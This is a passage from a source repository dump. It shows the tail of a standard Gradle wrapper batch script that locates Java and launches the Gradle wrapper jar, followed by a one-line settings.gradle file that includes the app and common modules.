11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app', ':common'
2 |
--------------------------------------------------------------------------------